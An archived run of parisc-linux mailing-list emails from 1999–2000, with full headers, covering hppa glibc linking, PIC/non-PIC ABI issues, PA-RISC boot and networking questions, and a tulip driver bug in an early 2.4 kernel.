X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa glibc ld -r
Date: Thu, 17 Aug 2000 17:59:48 +1000 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008171700460.28670-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619051 2296 80.91.229.3 (22 Nov 2014 01:17:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: libc-alpha@sources.redhat.com
Original-X-From: alan@linuxcare.com.au  Thu Aug 17 07:59:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA09737
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 07:59:46 -0600
Original-Received: (qmail 6274 invoked by uid 15267); 17 Aug 2000 08:00:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6234 invoked from network); 17 Aug 2000 08:00:08 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 17 Aug 2000 08:00:08 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA09905;
	Thu, 17 Aug 2000 17:59:49 +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7710

Hello glibc experts,
  I've hit a snag trying to build a shared hppa glibc with my latest
linker, and I think the only solution is to get rid of the "ld -r" stage
in building glibc.

For those on the list reading this not familiar with the details of
elf32-hppa linking:  PA has a limited range for pc-relative branches, and
the linker needs to insert long branch stubs to reach far off locations.
Long branch stubs (and other stub types) are placed in a special stub
section preceding every linker input section.  If input sections are too
big, we can't even reach the stubs, so using gcc -ffunction-sections helps
to stop "ld -r" packing all the code into one huge .text section.

-ffunction-sections isn't a complete solution though.  If two source files
declare a local function of the same name, "setup", for instance, then
both files will have a section called ".text.setup".  These two sections
will be merged during the "ld -r", which has the unfortunate effect of
moving a local function to a location a long way off from where it's
called.  That's bad, firstly because it means we now need a stub to reach
the function, but more importantly the stubs are not PIC and thus need
relocation information when creating shared libraries.  In particular, for
reasons too complicated to explain here, I don't want to create stubs for
local functions;  It would mean emitting relocs for every *potential*
stub.

Anybody know why glibc uses "ld -r", and if there is a good reason why
we can't just remove the "ld -r"?

Regards, Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steffen =?ISO-8859-1?Q?L=F6rch?= <sloerch@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Image-CD crashes !!
Date: Thu, 17 Aug 2000 11:53:29 +0200 (MEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <31201.966506009@www22.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619051 2298 80.91.229.3 (22 Nov 2014 01:17:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:31 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sloerch@gmx.de  Thu Aug 17 09:53:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA10527
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 09:53:47 -0600
Original-Received: (qmail 6653 invoked by uid 15267); 17 Aug 2000 09:54:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6619 invoked from network); 17 Aug 2000 09:54:09 -0000
Original-Received: from www22.gmx.net (213.165.64.72)
  by mailserv2.iuinc.com with SMTP; 17 Aug 2000 09:54:09 -0000
Original-Received: (qmail 31313 invoked by uid 0); 17 Aug 2000 09:53:30 -0000
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0001905547@gmx.net
X-Authenticated-IP: [194.123.83.190]
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Xref: news.gmane.org gmane.linux.ports.parisc:7711

Hello all !

I downloaded the CD-Image MkLinux from the FTP-Server, made a CD and
wanted to
boot from her, but while booting the system hangs with the error:

pdc_cons die !!

Please help me !!! I have a PA-RISC HP9000 Model 712/100, 2.1 GB SCSI HD,
YAMAHA CDR400tx CD-Rom. Whats wrong with ma system?

Thanks for replies !
S.L.

-- 
Sent through GMX FreeMail - http://www.gmx.net


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Image-CD crashes !!
Date: Thu, 17 Aug 2000 11:00:42 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20000817110042.B8556@linuxcare.com>
References: <31201.966506009@www22.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619052 2307 80.91.229.3 (22 Nov 2014 01:17:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: =?iso-8859-1?Q?Steffen_L=F6rch?= <sloerch@gmx.de>
Original-X-From: rhirst@linuxcare.com  Thu Aug 17 10:01:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10748
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 10:01:07 -0600
Original-Received: (qmail 11146 invoked by uid 15267); 17 Aug 2000 10:01:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11127 invoked from network); 17 Aug 2000 10:01:27 -0000
Original-Received: from ppp-2-163.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.145.163)
  by mailserv2.iuinc.com with SMTP; 17 Aug 2000 10:01:27 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 24C5DB005; Thu, 17 Aug 2000 11:00:42 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <31201.966506009@www22.gmx.net>; from sloerch@gmx.de on Thu, Aug 17, 2000 at 11:53:29AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:7712

You need to use a serial console atm, see

http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/08-Aug/0030.html

Richard


On Thu, Aug 17, 2000 at 11:53:29AM +0200, Steffen Lrch wrote:
> Hello all !
> 
> I downloaded the CD-Image MkLinux from the FTP-Server, made a CD and
> wanted to
> boot from her, but while booting the system hangs with the error:
> 
> pdc_cons die !!
> 
> Please help me !!! I have a PA-RISC HP9000 Model 712/100, 2.1 GB SCSI HD,
> YAMAHA CDR400tx CD-Rom. Whats wrong with ma system?
> 
> Thanks for replies !
> S.L.
> 
> -- 
> Sent through GMX FreeMail - http://www.gmx.net
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H . J . Lu" <hjl@lucon.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hppa glibc ld -r
Date: Thu, 17 Aug 2000 08:23:08 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20000817082308.B20071@lucon.org>
References: <Pine.LNX.4.21.0008171700460.28670-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619052 2374 80.91.229.3 (22 Nov 2014 01:17:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:32 +0000 (UTC)
Cc: libc-alpha@sources.redhat.com, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: hjl@lucon.org  Thu Aug 17 15:22:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA12755
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 15:22:45 -0600
Original-Received: (qmail 6769 invoked by uid 15267); 17 Aug 2000 15:23:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6744 invoked from network); 17 Aug 2000 15:23:10 -0000
Original-Received: from d1f94296.dsl.flashcom.net (HELO ocean.lucon.org) (postfix@209.249.66.150)
  by mailserv2.iuinc.com with SMTP; 17 Aug 2000 15:23:10 -0000
Original-Received: by ocean.lucon.org (Postfix, from userid 1000)
	id 553331B495; Thu, 17 Aug 2000 08:23:08 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.2i
In-Reply-To: <Pine.LNX.4.21.0008171700460.28670-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Aug 17, 2000 at 05:59:48PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7713

On Thu, Aug 17, 2000 at 05:59:48PM +1000, Alan Modra wrote:
> 
> -ffunction-sections isn't a complete solution though.  If two source files
> declare a local function of the same name, "setup", for instance, then
> both files will have a section called ".text.setup".  These two sections
> will be merged during the "ld -r", which has the unfortunate effect of

Can you teach ld not to merge ".text.xxxxx" with -r under HPPA?

> moving a local function to a location a long way off from where it's
> called.  That's bad, firstly because it means we now need a stub to reach
> the function, but more importantly the stubs are not PIC and thus need
> relocation information when creating shared libraries.  In particular, for
> reasons too complicated to explain here, I don't want to create stubs for
> local functions;  It would mean emitting relocs for every *potential*
> stub.
> 
> Anybody know why glibc uses "ld -r", and if there is a good reason why
> we can't just remove the "ld -r"?

I don't think it has to be used. --whole-archive will do the same
trick. But "ld -r" is more convenient. With --whole-archive, you may
have to put -Wl,--whole-archive/-Wl,--no-whole-archive around each file
generarted with "ld -r"


H.J.


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Incompatibility of PIC and non-PIC
Date: 17 Aug 2000 18:25:37 -0400
Organization: Linuxcare, Inc.
Lines: 45
Approved: news@gmane.org
Message-ID: <87ya1v1q5a.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619052 2376 80.91.229.3 (22 Nov 2014 01:17:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Thu Aug 17 16:26:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA28193
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 16:26:26 -0600
Original-Received: (qmail 24808 invoked by uid 15267); 17 Aug 2000 22:26:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24784 invoked from network); 17 Aug 2000 22:26:10 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 17 Aug 2000 22:26:10 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13PY6U-0002qM-00; Thu, 17 Aug 2000 18:25:38 -0400
Original-Lines: 44
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7714

Hi,

Shared libraries work well, but we've got a bigger problem now.  Our
PIC and non-PIC code models are mutually incompatible in a big way
(due to the use of %r19 And, it seems, while it's fine if non-PIC
can't be used in shared libraries, it's not all right if PIC can't be
linked statically.

The reason this comes up is that libgcc.a has to be built with -fPIC
since it gets linked into libc.so.  However libgcc.a is also getting
statically linked with the binary itself (the symbols are not exported
by libc.so, though I'm not sure if this is the correct behaviour or
not), and of course it has to get linked in for statically linked
things anyway.

The result is of course that anything which uses 'long long', like,
say, GCC, will crash.

How do other architectures solve this issue? (or do they just have
ABIs that let you mix PIC and non-PIC...)

For that matter how does 32-bit HP/UX solve this issue?

One potential solution is to use %dp as the data pointer across the
board (which would solve the problem of mixing PIC and non-PIC in
static binaries), and generate export stubs for shared library calls
which restore the old %dp value (which would solve the problem of
maintaining the non-PIC %dp, useless though it may be).

<thinking wishful="wishful">
  Another one is to ditch our ... ahem ... unique ABI, use function
  prologues instead, have a single global pointer and a single link
  register, and have PIC, function pointers and dynamic linking work
  the way $DEITY intended :-)
</thinking>

Of course that's a lot more work and would probably involve breaking
the published ELF standard for HPPA, such as it is, as well as
foregoing a lot of code sharing with the rest of the PA-RISC stuff in
gcc and binutils :-(

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] libmilli and linker scripts
Date: Thu, 25 Mar 1999 17:34:43 -0500
Organization: mozilla.org diplomatic corps
Lines: 18
Approved: news@gmane.org
Message-ID: <36FABA03.7C223D3A@netscape.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619053 2378 80.91.229.3 (22 Nov 2014 01:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:33 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 25 17:35:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id RAA30445
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 17:35:20 -0500
Original-Received: (qmail 20289 invoked by uid 15267); 25 Mar 1999 22:34:06 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 20282 invoked from network); 25 Mar 1999 22:34:06 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 22:34:06 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id OAA03146
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 14:34:43 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.139]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F969E200.SF6 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar
          1999 14:34:50 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.2-ac3 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7715

I'm making progress on getting the kernel to compile, and it's now
attempting to link, but I'm confounded by my expected foes:

1) millicode bits:
  net/network.a(socket.o): In function `proto_init':
  socket.o(.text+0x144): undefined reference to `$$dyncall'
and thousands more like it, and $$divI, $$divU and $$remU in the serial
code.  Is there some millicode assembly we could purloin, or should we
write our own somehow?  (Or maybe fix the compiler to do it all inline?)

2) the total absence of a linker script.  Anyone have ideas on:
kernel-in-memory layout, preferably by section?

Mike

-- 
87277.19 78688.20


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Fri, 18 Aug 2000 10:12:59 +1000 (EST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008180950370.24871-100000@front.linuxcare.com.au>
References: <87ya1v1q5a.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619053 2382 80.91.229.3 (22 Nov 2014 01:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Thu Aug 17 18:13:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA28623
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 18:13:34 -0600
Original-Received: (qmail 11324 invoked by uid 15267); 18 Aug 2000 00:13:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11302 invoked from network); 18 Aug 2000 00:13:14 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 00:13:14 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA25875;
	Fri, 18 Aug 2000 10:12:59 +1000
In-Reply-To: <87ya1v1q5a.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7716

On 17 Aug 2000, David Huggins-Daines wrote:

> The reason this comes up is that libgcc.a has to be built with -fPIC
> since it gets linked into libc.so.  However libgcc.a is also getting
> statically linked with the binary itself (the symbols are not exported
> by libc.so, though I'm not sure if this is the correct behaviour or
> not), and of course it has to get linked in for statically linked
> things anyway.

The libgcc problem can be solved by generating a PIC libgcc.so and non-PIC
libgcc.a

>[snip]
> One potential solution is to use %dp as the data pointer across the
> board (which would solve the problem of mixing PIC and non-PIC in
> static binaries), and generate export stubs for shared library calls
> which restore the old %dp value (which would solve the problem of
> maintaining the non-PIC %dp, useless though it may be).

__builtin_return_address.  See the hoops you'll be jumping through in
gcc/config/pa/pa.c:return_addr_rtx.

> <thinking wishful="wishful">
>   Another one is to ditch our ... ahem ... unique ABI, use function
>   prologues instead, have a single global pointer and a single link
>   register, and have PIC, function pointers and dynamic linking work
>   the way $DEITY intended :-)
> </thinking>
> 
> Of course that's a lot more work and would probably involve breaking
> the published ELF standard for HPPA, such as it is, as well as
> foregoing a lot of code sharing with the rest of the PA-RISC stuff in
> gcc and binutils :-(

One way to keep out current ABI is to generate a .plt and import stubs
when statically linking PIC code.  That should be relatively easy to do in
the linker.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] architecture overview books?
Date: Thu, 17 Aug 2000 21:56:01 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008172141540.26790-100000@misty.cdf>
References: <20000815144305.A7757@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619053 2387 80.91.229.3 (22 Nov 2014 01:17:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Thu Aug 17 19:57:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA29021
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 19:57:17 -0600
Original-Received: (qmail 17524 invoked by uid 15267); 18 Aug 2000 01:57:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17512 invoked from network); 18 Aug 2000 01:57:01 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 01:57:01 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 904473C0E; Thu, 17 Aug 2000 21:56:02 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <20000815144305.A7757@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7717

Hi,

Can all the register information be found in

	PCXL_ers.pdf

file?  I found it in

	http://thepuffingroup.com/parisc/documentation.html

Or are there other sources where I can get architecture overview?



Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
Team BlueShirt Developer                             www.blueshirt.org |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steffen =?ISO-8859-1?Q?L=F6rch?= <sloerch@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot in Graphic-Mode
Date: Fri, 18 Aug 2000 07:38:49 +0200 (MEST)
Lines: 11
Approved: news@gmane.org
Message-ID: <17061.966577129@www28.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619054 2391 80.91.229.3 (22 Nov 2014 01:17:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sloerch@gmx.de  Thu Aug 17 23:39:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA29857
	for <parisc-linux@puffin.external.hp.com>; Thu, 17 Aug 2000 23:39:31 -0600
Original-Received: (qmail 27452 invoked by uid 15267); 18 Aug 2000 05:39:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27445 invoked from network); 18 Aug 2000 05:39:16 -0000
Original-Received: from www28.gmx.net (213.165.64.78)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 05:39:16 -0000
Original-Received: (qmail 17076 invoked by uid 0); 18 Aug 2000 05:38:49 -0000
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0001905547@gmx.net
X-Authenticated-IP: [194.123.83.190]
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Xref: news.gmane.org gmane.linux.ports.parisc:7718

Hey, all !!
Thanks for replies yesterday! Today another question from da newebee.
I've installed the CD-Image-Version of da MkLinux, but I don't want to
boot into console mode. How can I boot into graphic mode ?

Thanks,
S.L.

-- 
Sent through GMX FreeMail - http://www.gmx.net


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steffen =?ISO-8859-1?Q?L=F6rch?= <sloerch@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Networking
Date: Fri, 18 Aug 2000 10:15:08 +0200 (MEST)
Lines: 10
Approved: news@gmane.org
Message-ID: <10217.966586508@www5.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619054 2398 80.91.229.3 (22 Nov 2014 01:17:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sloerch@gmx.de  Fri Aug 18 02:18:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA07181
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 02:17:59 -0600
Original-Received: (qmail 12033 invoked by uid 15267); 18 Aug 2000 08:17:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12020 invoked from network); 18 Aug 2000 08:17:45 -0000
Original-Received: from www.gmx.net (HELO www5.gmx.net) (194.221.183.45)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 08:17:45 -0000
Original-Received: (qmail 10238 invoked by uid 0); 18 Aug 2000 08:15:08 -0000
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0001905547@gmx.net
X-Authenticated-IP: [194.123.83.190]
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Xref: news.gmane.org gmane.linux.ports.parisc:7719

Hello all !!!
How can I connect my PA-RISC to the network with the CD-Image Version of
the PA-RISC Linux.

Thanks for replies,
S.L.

-- 
Sent through GMX FreeMail - http://www.gmx.net


From - Thu Nov 08 21:13:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Fri, 18 Aug 2000 12:49:44 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20000818124944.A13870@linuxcare.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619054 2405 80.91.229.3 (22 Nov 2014 01:17:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Fri Aug 18 05:50:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA09454
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 Aug 2000 05:50:50 -0600
Original-Received: (qmail 1747 invoked by uid 15267); 18 Aug 2000 11:50:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1736 invoked from network); 18 Aug 2000 11:50:35 -0000
Original-Received: from ppp-1-219.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.219)
  by mailserv2.iuinc.com with SMTP; 18 Aug 2000 11:50:35 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D201DB005; Fri, 18 Aug 2000 12:49:44 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000815160510.C7757@vodka.thepuffingroup.com>; from matthew@wil.cx on Tue, Aug 15, 2000 at 04:05:10PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7720

Hi,
  The tulip driver doesn't initialise with the 2.4.0-test6 kernel
(for me, anyway).
The problem is that pci_resource_start (pdev, 0) in tulip_core.c
line 1046, returns 0x0001ff00, where it should (I think) return
0x0000ff00.  I added a printk in drivers/pci/pci.c to show the
start/end values as it filled in the pci_dev->resource table,
and that showed start 0x0000ff00 end 0x0000ff7e.  Don't know
where bit 16 gets added to start..

I just commented out the 'goto err_out_free_netdev' in tulip_core.c
and it now claims to mount nfs root, but cannot find init.
I had to comment out the unregistering of pdc console to
see that.

In 2.3.99pre8 tulip announced that the chip was at 0x1ff00 also,
but it didn't matter because the request_region call was different.

